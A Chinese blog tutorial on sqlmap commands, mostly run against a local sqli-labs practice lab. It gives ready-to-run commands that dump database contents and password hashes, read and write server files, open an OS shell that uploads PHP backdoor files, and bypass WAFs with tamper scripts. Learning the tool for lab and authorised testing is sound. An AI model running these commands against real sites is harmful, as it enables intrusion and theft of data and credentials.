首页 > 数据库 >SQLmap常用命令使用详解

SQLmap常用命令使用详解

时间:2024-06-04 13:22:52浏览次数:34  
标签:SQLmap Sqlmap http -- xxx 详解 user 常用命令 id

SQLmap使用详解

 一、SQLmap常规使用步骤

 1、查询注入点

  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1
 2、查询所有数据库
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
 3、查询当前数据库
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-dbs
 4、查表
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx --tables
 5、查列
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --columns
 6、查数据
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --dump

二、命令详解

 1、输出级别

  -v 指定回显信息的复杂度,共7个级别,0-6,默认1

  • 0:只显示python错误以及严重的信息。
  • 1:同时显示基本信息和警告信息。(默认)
  • 2:同时显示debug信息。
  • 3:同时显示注入的payload。
  • 4:同时显示HTTP请求。
  • 5:同时显示HTTP响应头。
  • 6:同时显示HTTP响应页面。

  一般使用等级3,可以看到SQLmap发送的测试payload;

  eg:python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1

 2、目标

  

  2.1、指定URL

  -u 参数,指定需要检测的url,单/双引号包裹,中间如果有提示,输入y

  提示:SQLmap不能直接扫描网站漏洞,先找到注入点,再使用SQLmap验证并利用注入点

 

  2.2、指定文件

  -m 指定文件,可以批量扫描文件中的url

 

  2.3、指定数据库/表/字段

  -D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

  -T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

  -C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

 

  2.4、POST请求

  检测POST请求的注入点,使用BP等工具抓包,将http请求内容保存到txt文件中

  -r 指定需要检测的文件,SQLmap会通过POST请求方式检测目标

 

  2.5、cookie注入

  --cookie 指定cookie的值,单/双引号包裹

 

 3、脱库

  -a 就是all的意思,获取所有能获取的内容,会消耗很长时间

  3.1、获取数据库   

  --dbs 获取数据库
  --current-db 获取当前数据库


  3.2、获取表 

  --tables 获取表
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' --tables
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security,dvwa' --tables
  //同时获取多个库的表名,逗号隔开


  3.3、获取字段

  --columns 获取字段
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' --columns
  只指定库名不指定表名会报错,指定库名不指定表名,默认获取当前数据库中所有表的字段


  3.4、获取字段类型

  --schema 获取字段类型,
  可以指定库或指定表。不指定则获取数据库中所有字段的类型。

  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C --schema


  3.5、获取值

  --dump 表中的数据,可以指定具体的库,表,字段,只指定库名可获取库中所有表的数据
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C 'username,password' --dump

  默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C 'username,password' --start1 --stop 5 --dump


  3.6、获取用户

  --current-user 获取当前登录数据库的用户名
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' --current-user

  --user 获取数据库的所有用户名
  Sqlmap -u 'http://xxx.com/user.php?id=1' --user

  --passwords 获取所有数据库用户的密码(哈希值)
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' --password

  --privileges 查看每个数据库用户都有哪些权限

  --is-dbs 判断当前用户是不是管理员,如果是管理员,会显示true


  3.7、获取主机名

  --hostname 获取服务器主机名

 

  3.8、搜索库、表、字段

  --search 搜索数据库中是否存在指定库,表,字段;需要指定库名,表名,字段名
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' --search
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -T 'users' --search
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -C 'user' --search

 

  3.9、正在执行的SQL语句

  --statements 获取数据库中正在执行的SQL语句

 4、其他

  --batch (默认确认)不再询问是否确认。

  --method=GET 指定请求方式(GET/POST)


  --random-agent 随机切换UA(User-Agent)

  --user-agent ' ' 使用自定义的UA(User-Agent)

  --referer ' ' 使用自定义的 referer

  --proxy="127.0.0.1:8080" 指定代理

  --threads 10 设置线程数,最高10

  --level=1 执行测试的等级(1-5,默认为1,常用3)
  指需要执行的测试等级,一共有5个等级(1~5),不加 level 默认是1。5级包含的 Payload 最多,会自动破解出 cookie、XFF等头部注入。当然,level 5的运行速度也比较慢。
  这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie 在 level 为2时就会测试,HTTP User-Agent/Referer 头在 level 为3时就会测试。总之,在不确定哪个 payload 或参数为注入点时,为了保证全面性,建议使用高的 level 值

  --risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

  --sql-shell:运行自定义SQL语句
  该命令用于执行指定的SQL语句,如下所示,假设执行select * from users limit 0,1语句,如下所示:
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --sql-shell

  --os-cmd,--os-shell:运行任意操作系统命令
  在当前用户有权限使用特定的函数的前提下,如果数据库为MySQL、PostgreSQL,Sqlmap会上传一个二进制库,包含用户自定义的函数sys_exec () 和sys_eval (),那么创建的这两个函数就可以执行系统命令。
  如果数据库是微软 SQL Server时,Sqlmap通过存储过程 xp_cmdshell 来执行任意命令,如果 xp_cmdshell 被禁用(SQL Server 2005及以上版本默认被禁用),则Sqlmap会重新启用它;如果不存在,会自动创建。
  用--os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(如PHP或ASP+Mysql),仍然可以使用 INTO OUTFILE写进可写目录,创建一个Web后门。
  Sqlmap支持ASP、ASP.NET、JSP和PHP四种语言(要想执行该参数,需要有数据库管理员权限,也就是--is-dba的值要为True)。

  1.执行系统命令:
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-cmd=ipconfig
  执行后根据提示选择网站语言,然后回车,指定目标站点根目录,然后继续回车即可完整执行命令。
  2.执行shell:
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
  执行后根据提示选择网站语言,然后回车,指定目标站点根目录后回车,输入命令即可执行。
  执行命令后会在网站根目录上传两个文件:tmpbxbxz.php、tmpuoiuz.php(此文件为上传页面)


  --file-read:从数据库服务器中读取文件
  该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或MicrosoftSQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-read "C:/11.txt"
  执行完会把文件保存到本地目录下

  --file-write --file-dest:上传文件到数据库服务器中
  该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-write "C:/1.txt" --file-dest "C:/windows/Temp/1.php"
  执行结束即可把本地的1.txt 文件上传到目标服务器下

  

 5、WAF绕过

  --tamper 指定绕过脚本,
  Sqlmap -u 'http://xxx.com/user.php?id=1' --tamper 'space2comment.py'
  SQLmap内置脚本位置:/usr/share/sqlmap/tamper

 

标签:SQLmap,Sqlmap,http,--,xxx,详解,user,常用命令,id
From: https://www.cnblogs.com/BIGBadman/p/18230547

相关文章

  • Vue3-组件通信详解
    文章目录组件通信的含义Vue3组件通信和Vue2的区别组件通信的具体实现props(父子组件通信)自定义事件(子传父)mitt(任意组件间通信)v-model$attrs(非props的父子组件通信)r......
  • 什么是LLM大模型训练,详解Transformer结构模型
    本文分享自华为云社区《LLM大模型学习必知必会系列(四):LLM训练理论篇以及Transformer结构模型详解》,作者:汀丶。1.模型/训练/推理知识介绍深度学习领域所谓的“模型”,是一个复杂的数学公式构成的计算步骤。为了便于理解,我们以一元一次方程为例子解释:y=ax+b该方程意味......
  • Node.js技术详解与前端工程化应用
    目录Node.js技术详解与前端工程化应用一、什么是Node.jsNode.js的作用什么是前端工程化Node.js为什么能执行JS二、Node.js的安装及使用步骤Node.js安装步骤使用Node.js2.1介绍fs模块2.2介绍path模块2.3介绍URL中的端口号2.4介绍http模块-创建Web服务三、Node.js模......
  • ### Python 字典操作详解:从创建、增删改查到高级技巧全解析
    1.创建字典使用大括号{}创建空字典empty_dict={}print(empty_dict)#输出:{}使用dict函数创建字典#通过键值对创建字典person=dict(name="Alice",age=30,city="NewYork")print(person)#输出:{'name':'Alice','age':30,'c......
  • ### Python 列表操作详解:从创建、增删到高级技巧全覆盖
    1.创建列表使用list函数创建空列表:empty_list=list()print(empty_list)#输出:[]从字符串创建列表:string="hello"list_from_string=list(string)print(list_from_string)#输出:['h','e','l','l','o']......
  • 红黑树详解
    1红黑树的概念红黑树,是一种二叉搜索树,但在每个结点上增加一个存储位表示结点的颜色,可以是Red或Black。通过对任何一条从根到叶子的路径上各个结点着色方式的限制,红黑树确保没有一条路径会比其他路径长出俩倍,因而是接近平衡的。2红黑树的性质 1.每个结点不是红色就是......
  • C语言之指针进阶(5),sizeof和strlen的数组计算以及指针运算笔试难题详解
    目录前言一、sizeof和strlen的区分比较二、sizeof,strlen与数组的计算三、指针运算,笔试难题解析总结前言    本文作为指针进阶的最后一篇文章,给大家带来了丰富的例题,这其中包括区分比较sizeof和strlen计算各种花样的数组指针表达式,如果你能答对所有的关......
  • 详解和实现数据表格中的行数据合并功能
    theme:smartblue前言需求场景:在提供了数据查看和修改的表格视图中(如table、a-table等…),允许用户自行选择多行数据,依据当前状态进行特定列数据的合并操作。选中的数据将统一显示为选中组的首条数据值。同时,页面会即时反馈显示合并后的效果,提供直观的操作反馈。效果......
  • 【OpenCV函数详解之cv2.calcOpticalFlowPyrLK(old_gray, frame_gray, p0, None, **lk_
    文章目录cv2.calcOpticalFlowPyrLK()函数介绍:函数定义:参数说明:返回值示例代码执行结果:**总结:**p1,st,err=cv2.calcOpticalFlowPyrLK(old_gray,frame_gray,p0,None,**lk_params)解释:函数:参数:返回值:使用:cv2.calcOpticalFlowPyrLK()函数介绍:cv2.calcOpti......
  • neo4j常用命令练习
    查询查询nodelabels下的节点match(n:`企业`)returnn 查询单个节点,这里返回的是一个节点,具有以下两种写法;在java中是optional,需要get一下match(n:`企业`{name:'金正大'})returnnmatch(n:`企业`)wheren.name='金正大'returnn查询单个节点的某一信息,这里返回的......